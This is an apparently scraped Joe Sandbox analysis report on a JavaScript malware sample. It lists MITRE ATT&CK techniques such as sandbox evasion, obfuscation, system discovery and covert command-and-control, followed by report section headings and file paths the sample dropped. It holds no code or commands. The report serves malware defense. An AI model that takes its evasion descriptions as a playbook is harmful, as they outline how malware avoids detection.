Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 622118739225021737.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b645f1f-98a0-4ddd-9a9f-b352572b3401.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1200

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
622118739225021737.js